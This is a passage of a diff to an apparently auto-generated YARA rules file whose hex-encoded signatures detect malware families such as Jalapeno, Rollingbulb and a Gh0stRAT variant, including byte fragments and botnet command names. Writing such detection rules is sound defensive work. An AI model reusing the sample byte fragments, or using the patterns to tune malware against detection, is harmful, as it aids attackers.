3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 50 44 00 01 00 45 03 83 c2 00 89 c2 90 02 07 90 18 90 02 08 8b 34 39 90 02 07 90 18 90 02 06 01 34 3a 90 02 04 90 18 90 02 08 81 34 3a 90 01 04 90 02 06 90 18 90 02 06 83 ef 0c 90 02 } //-30464 + $a_90_2 = {0b 90 02 06 90 18 0f 8d 90 00 00 00 78 70 00 00 01 00 01 00 01 00 21 23 } //-28666 + condition: + ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*-30464+(#a_90_2 & 1)*-28666) >=20 + +} +rule _InfrastructureShared_7229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71623,7 +75619,7 @@ rule _InfrastructureShared_6850{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6851{ +rule _InfrastructureShared_7230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71633,7 +75629,7 @@ rule _InfrastructureShared_6851{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6852{ +rule _InfrastructureShared_7231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71643,7 +75639,7 @@ rule _InfrastructureShared_6852{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6853{ +rule _InfrastructureShared_7232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71653,7 +75649,7 @@ rule _InfrastructureShared_6853{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6854{ +rule _InfrastructureShared_7233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71663,7 +75659,7 @@ rule _InfrastructureShared_6854{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6855{ +rule _InfrastructureShared_7234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71673,7 +75669,17 @@ rule _InfrastructureShared_6855{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6856{ +rule _InfrastructureShared_7235{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 6c 6c 69 6e 67 62 75 6c 62 2e 41 21 64 68 61 00 01 00 3c 42 0f b6 d1 8d 04 3a 0f b6 f8 0f b6 84 3d 90 01 04 88 84 1d 90 01 04 8b c3 88 8c 3d 90 01 04 8b 8d 90 01 04 0f b6 84 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_7236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71683,7 +75689,7 @@ rule _InfrastructureShared_6856{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6857{ +rule _InfrastructureShared_7237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71693,7 +75699,7 @@ rule _InfrastructureShared_6857{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6858{ +rule _InfrastructureShared_7238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71703,7 +75709,7 @@ rule _InfrastructureShared_6858{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6859{ +rule _InfrastructureShared_7239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71713,7 +75719,7 @@ rule _InfrastructureShared_6859{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6860{ +rule _InfrastructureShared_7240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71723,7 +75729,7 @@ rule _InfrastructureShared_6860{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6861{ +rule _InfrastructureShared_7241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71733,7 +75739,7 @@ rule _InfrastructureShared_6861{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6862{ +rule _InfrastructureShared_7242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71743,7 +75749,7 @@ rule _InfrastructureShared_6862{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6863{ +rule _InfrastructureShared_7243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71753,7 +75759,7 @@ rule _InfrastructureShared_6863{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6864{ +rule _InfrastructureShared_7244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71763,7 +75769,7 @@ rule _InfrastructureShared_6864{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6865{ +rule _InfrastructureShared_7245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71773,7 +75779,7 @@ rule _InfrastructureShared_6865{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6866{ +rule _InfrastructureShared_7246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71783,7 +75789,7 @@ rule _InfrastructureShared_6866{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6867{ +rule _InfrastructureShared_7247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71793,7 +75799,7 @@ rule _InfrastructureShared_6867{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6868{ +rule _InfrastructureShared_7248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71803,7 +75809,7 @@ rule _InfrastructureShared_6868{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6869{ +rule _InfrastructureShared_7249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71813,7 +75819,7 @@ rule _InfrastructureShared_6869{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6870{ +rule _InfrastructureShared_7250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71823,7 +75829,17 @@ rule _InfrastructureShared_6870{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6871{ +rule _InfrastructureShared_7251{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 69 78 78 70 61 63 6b 2e 41 53 58 21 4d 54 42 00 01 00 41 03 0c 08 07 6f 90 01 01 00 00 06 16 6a 0d 16 13 04 2b 2d 03 6f 90 01 01 00 00 0a 13 05 11 05 16 2f 0b 72 0f 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71833,7 +75849,7 @@ rule _InfrastructureShared_6871{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6872{ +rule _InfrastructureShared_7253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71843,7 +75859,7 @@ rule _InfrastructureShared_6872{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6873{ +rule _InfrastructureShared_7254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71853,7 +75869,7 @@ rule _InfrastructureShared_6873{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6874{ +rule _InfrastructureShared_7255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71863,7 +75879,7 @@ rule _InfrastructureShared_6874{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6875{ +rule _InfrastructureShared_7256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71873,7 +75889,7 @@ rule _InfrastructureShared_6875{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6876{ +rule _InfrastructureShared_7257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -71883,7 +75899,7 @@ rule _InfrastructureShared_6876{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6877{ +rule _InfrastructureShared_7258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -71894,7 +75910,7 @@ rule _InfrastructureShared_6877{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*14178) >=1 } -rule _InfrastructureShared_6878{ +rule _InfrastructureShared_7259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -71905,7 +75921,7 @@ rule _InfrastructureShared_6878{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*87) >=1 } -rule _InfrastructureShared_6879{ +rule _InfrastructureShared_7260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -71916,7 +75932,7 @@ rule _InfrastructureShared_6879{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-27388) >=1 } -rule _InfrastructureShared_6880{ +rule _InfrastructureShared_7261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -71927,7 +75943,7 @@ rule _InfrastructureShared_6880{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*0) >=1 } -rule _InfrastructureShared_6881{ +rule _InfrastructureShared_7262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -71938,7 +75954,7 @@ rule _InfrastructureShared_6881{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*22619) >=1 } -rule _InfrastructureShared_6882{ +rule _InfrastructureShared_7263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -71949,7 +75965,7 @@ rule _InfrastructureShared_6882{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301) >=1 } -rule _InfrastructureShared_6883{ +rule _InfrastructureShared_7264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -71960,7 +75976,7 @@ rule _InfrastructureShared_6883{ ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*-13821) >=1 } -rule _InfrastructureShared_6884{ +rule _InfrastructureShared_7265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -71972,7 +75988,7 @@ rule _InfrastructureShared_6884{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*-25490+(#a_03_2 & 1)*-28651) >=1 } -rule _InfrastructureShared_6885{ +rule _InfrastructureShared_7266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -71984,7 +76000,7 @@ rule _InfrastructureShared_6885{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*11401+(#a_89_2 & 1)*827) >=1 } -rule _InfrastructureShared_6886{ +rule _InfrastructureShared_7267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -71994,7 +76010,7 @@ rule _InfrastructureShared_6886{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6887{ +rule _InfrastructureShared_7268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -72004,7 +76020,7 @@ rule _InfrastructureShared_6887{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6888{ +rule _InfrastructureShared_7269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -72014,7 +76030,17 @@ rule _InfrastructureShared_6888{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_6889{ +rule _InfrastructureShared_7270{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 41 47 21 4d 54 42 00 02 00 41 03 00 00 0a 00 06 18 90 01 02 00 00 0a 00 06 18 90 01 02 00 00 0a 00 06 90 01 02 00 00 0a 0b 00 07 03 16 03 8e } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_7271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72025,7 +76051,7 @@ rule _InfrastructureShared_6889{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28541) >=2 } -rule _InfrastructureShared_6890{ +rule _InfrastructureShared_7272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72036,7 +76062,7 @@ rule _InfrastructureShared_6890{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*19595) >=2 } -rule _InfrastructureShared_6891{ +rule _InfrastructureShared_7273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72047,7 +76073,7 @@ rule _InfrastructureShared_6891{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115) >=2 } -rule _InfrastructureShared_6892{ +rule _InfrastructureShared_7274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72058,7 +76084,7 @@ rule _InfrastructureShared_6892{ ((#a_46_0 & 1)*16675+(#a_8e_1 & 1)*788) >=2 } -rule _InfrastructureShared_6893{ +rule _InfrastructureShared_7275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72069,7 +76095,7 @@ rule _InfrastructureShared_6893{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*269) >=2 } -rule _InfrastructureShared_6894{ +rule _InfrastructureShared_7276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72080,7 +76106,7 @@ rule _InfrastructureShared_6894{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*10272) >=2 } -rule _InfrastructureShared_6895{ +rule _InfrastructureShared_7277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72091,7 +76117,7 @@ rule _InfrastructureShared_6895{ ((#a_5f_0 & 1)*25635+(#a_46_1 & 1)*16675) >=2 } -rule _InfrastructureShared_6896{ +rule _InfrastructureShared_7278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -72103,7 +76129,7 @@ rule _InfrastructureShared_6896{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25965+(#a_72_2 & 1)*20481) >=2 } -rule _InfrastructureShared_6897{ +rule _InfrastructureShared_7279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -72115,7 +76141,7 @@ rule _InfrastructureShared_6897{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26977+(#a_04_2 & 1)*9220) >=2 } -rule _InfrastructureShared_6898{ +rule _InfrastructureShared_7280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -72126,7 +76152,7 @@ rule _InfrastructureShared_6898{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*2) >=2 } -rule _InfrastructureShared_6899{ +rule _InfrastructureShared_7281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -72137,7 +76163,7 @@ rule _InfrastructureShared_6899{ ((#a_54_0 & 1)*18467+(#a_6d_2 & 1)*21596) >=2 } -rule _InfrastructureShared_6900{ +rule _InfrastructureShared_7282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -72149,43 +76175,33 @@ rule _InfrastructureShared_6900{ ((#a_54_0 & 1)*18467+(#a_83_1 & 1)*3072+(#a_00_2 & 1)*16490) >=2 } -rule _InfrastructureShared_6901{ +rule _InfrastructureShared_7283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 53 63 72 69 70 74 52 75 6e 74 69 6d 65 48 69 6e 74 00 01 00 12 80 01 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 01 00 11 80 01 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 01 00 08 80 01 2e 53 74 61 72 74 28 29 01 00 10 80 01 2e } //18467 $a_61_1 = {65 49 6e 73 74 61 6e 63 65 28 00 00 78 70 00 00 02 00 02 00 04 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 54 75 72 6c 61 42 69 6e 61 72 79 53 74 72 69 6e 67 73 2e 46 00 01 00 0a 80 01 2a 4e 41 54 4f 2a 2e 6d 73 67 01 00 15 80 01 65 75 20 65 6e 65 72 67 79 20 64 69 61 6c 6f 67 75 65 2a 2e 2a 01 00 07 80 01 } //29251 - $a_2e_2 = {73 67 01 00 0d 80 01 42 75 64 61 70 65 73 74 2a 2e 6d 73 67 00 00 78 70 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a } //21829 - $a_4d_3 = {49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4e 4d 41 21 4d 54 42 00 02 00 1e 03 95 2e 03 16 2b 01 17 17 59 11 3f 90 01 03 00 00 95 5f 11 3f 90 01 03 00 00 95 61 58 90 00 01 00 1f 03 } //28257 + $a_2e_2 = {73 67 01 00 0d 80 01 42 75 64 61 70 65 73 74 2a 2e 6d 73 67 00 00 78 70 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 57 69 6e 33 } //21829 + $a_65_3 = {69 61 54 65 6b 57 69 72 65 6c 65 73 73 00 01 00 16 01 6d 00 74 00 6b 00 77 00 6c 00 75 00 78 00 2e 00 73 00 79 00 73 00 01 00 12 01 6d 74 37 36 30 33 5f 69 6e 69 74 5f 6d 61 63 5f 63 72 01 00 17 01 52 61 6c 69 6e 6b 20 57 69 72 65 } //12082 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29251+(#a_2e_2 & 1)*21829+(#a_4d_3 & 1)*28257) >=2 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29251+(#a_2e_2 & 1)*21829+(#a_65_3 & 1)*12082) >=2 } -rule _InfrastructureShared_6902{ +rule _InfrastructureShared_7284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 54 75 72 6c 61 42 69 6e 61 72 79 53 74 72 69 6e 67 73 2e 46 00 01 00 0a 80 01 2a 4e 41 54 4f 2a 2e 6d 73 67 01 00 15 80 01 65 75 20 65 6e 65 72 67 79 20 64 69 61 6c 6f 67 75 65 2a 2e 2a 01 00 07 80 01 45 55 2a } //21283 - $a_67_1 = {00 0d 80 01 42 75 64 61 70 65 73 74 2a 2e 6d 73 67 00 00 78 70 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4e 4d 41 21 4d 54 42 00 02 00 1e 03 95 2e 03 16 2b 01 17 17 59 11 3f 90 01 03 00 00 95 5f 11 3f 90 01 03 00 00 95 61 58 90 00 01 00 1f 03 8e 69 32 03 16 2b 01 17 17 59 11 3f 90 } //27950 - $a_3f_3 = {01 03 00 00 95 61 59 90 00 00 00 78 70 00 00 03 00 } //24469 + $a_67_1 = {00 0d 80 01 42 75 64 61 70 65 73 74 2a 2e 6d 73 67 00 00 78 70 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 57 69 6e 33 32 2f 4d 65 64 69 61 54 65 6b 57 69 72 65 6c 65 73 73 00 01 00 16 01 6d 00 74 00 6b 00 77 00 6c 00 75 00 78 00 2e 00 73 00 79 00 73 00 01 00 12 01 6d 74 37 36 30 33 5f 69 6e 69 74 5f 6d 61 63 5f 63 72 01 00 17 01 52 61 6c 69 6e } //27950 + $a_69_2 = {65 6c 65 73 73 20 41 64 61 70 74 65 72 00 00 78 70 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 47 68 6f 73 74 44 72 61 67 6f 6e 5f 47 68 30 73 74 52 41 54 5f 53 61 6d 70 6c 65 33 00 01 00 0b 01 44 24 15 65 88 54 } //8299 + $a_44_3 = {01 00 0d 01 44 24 1b 43 c6 44 24 1c 75 88 54 24 1e 01 00 10 01 1e 79 c6 44 24 1f 43 c6 44 24 20 75 88 54 24 22 00 00 78 70 00 00 03 00 03 00 03 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 4d 53 49 4c 4b 72 79 70 74 00 01 00 06 01 3d 2e 65 78 65 00 01 00 24 03 3d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 90 02 01 2e 72 65 73 6f 75 72 63 65 73 90 00 01 00 1c 01 44 65 62 75 67 67 65 72 4e 6f 6e 55 73 65 72 43 6f 64 65 41 74 74 72 69 62 75 74 65 00 00 78 70 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 49 6e 73 74 61 6c 6c 4d 6f 6e 65 74 69 7a 65 72 00 01 00 15 01 69 6e 73 74 61 } //5668 condition: - ((#a_46_0 & 1)*21283+(#a_67_1 & 1)*27950+(#a_3f_3 & 1)*24469) >=2 + ((#a_46_0 & 1)*21283+(#a_67_1 & 1)*27950+(#a_69_2 & 1)*8299+(#a_44_3 & 1)*5668) >=2 } -rule _InfrastructureShared_6903{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4e 4d 41 21 4d 54 42 00 02 00 1e 03 95 2e 03 16 2b 01 17 17 59 11 3f 90 01 03 00 00 95 5f 11 3f 90 01 03 00 00 95 61 58 90 00 01 00 1f 03 8e 69 32 03 16 2b 01 17 17 } //16675 - $a_90_1 = {03 00 00 95 5f 11 3f 90 01 03 00 00 95 61 59 90 00 00 00 78 70 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 57 69 6e 33 32 2f 4d 65 64 69 61 54 65 6b 57 69 72 65 6c 65 73 73 00 01 00 16 01 6d } //4441 - condition: - ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*4441) >=3 - -} -rule _InfrastructureShared_6904{ +rule _InfrastructureShared_7285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72197,7 +76213,7 @@ rule _InfrastructureShared_6904{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*27745+(#a_75_2 & 1)*9284) >=3 } -rule _InfrastructureShared_6905{ +rule _InfrastructureShared_7286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72209,7 +76225,7 @@ rule _InfrastructureShared_6905{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*7716+(#a_c6_2 & 1)*7681) >=3 } -rule _InfrastructureShared_6906{ +rule _InfrastructureShared_7287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72221,7 +76237,7 @@ rule _InfrastructureShared_6906{ ((#a_5f_0 & 1)*16931+(#a_6e_1 & 1)*20082+(#a_00_2 & 1)*11822) >=3 } -rule _InfrastructureShared_6907{ +rule _InfrastructureShared_7288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72232,7 +76248,7 @@ rule _InfrastructureShared_6907{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28233) >=3 } -rule _InfrastructureShared_6908{ +rule _InfrastructureShared_7289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72243,7 +76259,7 @@ rule _InfrastructureShared_6908{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*112) >=3 } -rule _InfrastructureShared_6909{ +rule _InfrastructureShared_7290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72255,7 +76271,7 @@ rule _InfrastructureShared_6909{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25974+(#a_6a_2 & 1)*26625) >=3 } -rule _InfrastructureShared_6910{ +rule _InfrastructureShared_7291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72267,7 +76283,7 @@ rule _InfrastructureShared_6910{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25970+(#a_61_2 & 1)*8307) >=3 } -rule _InfrastructureShared_6911{ +rule _InfrastructureShared_7292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72279,7 +76295,7 @@ rule _InfrastructureShared_6911{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29472+(#a_75_2 & 1)*24932) >=3 } -rule _InfrastructureShared_6912{ +rule _InfrastructureShared_7293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72291,7 +76307,7 @@ rule _InfrastructureShared_6912{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*26987+(#a_72_2 & 1)*28261) >=3 } -rule _InfrastructureShared_6913{ +rule _InfrastructureShared_7294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -72303,7 +76319,7 @@ rule _InfrastructureShared_6913{ ((#a_77_0 & 1)*19491+(#a_46_1 & 1)*16675+(#a_5c_2 & 1)*30319) >=3 } -rule _InfrastructureShared_6914{ +rule _InfrastructureShared_7295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -72314,7 +76330,7 @@ rule _InfrastructureShared_6914{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*30319) >=3 } -rule _InfrastructureShared_6915{ +rule _InfrastructureShared_7296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -72326,32 +76342,55 @@ rule _InfrastructureShared_6915{ ((#a_77_0 & 1)*19491+(#a_54_1 & 1)*18467+(#a_69_3 & 1)*11777) >=3 } -rule _InfrastructureShared_6916{ +rule _InfrastructureShared_7297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 06 00 21 " strings : $a_54_0 = {3a 62 6f 74 5f 63 6f 6d 6d 61 6e 64 73 00 01 00 0c 01 2e 61 75 74 6f 61 76 73 74 6f 70 00 01 00 09 01 2e 75 64 70 73 74 6f 70 00 01 00 09 01 2e 73 79 6e 73 74 6f 70 00 01 00 0c 01 2e 6b 69 6c 6c 74 68 72 65 61 64 00 01 00 08 01 2e 72 65 62 6f 6f 74 } //18467 $a_69_2 = {6c 70 72 6f 63 00 00 00 78 70 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 75 74 6f 72 75 6e 2e 4e 48 21 4d 54 42 00 03 00 20 01 72 a5 00 00 70 6f 28 00 00 0a 26 2b 11 06 1f 20 6f 29 00 00 0a 26 06 08 6f 28 00 00 0a 26 11 04 01 00 1f 01 73 74 72 6f 6e 67 6e 61 6d 65 6b 65 79 73 5c 66 } //11777 - $a_5c_3 = {69 6e 64 6f 77 73 2e 73 6e 6b 00 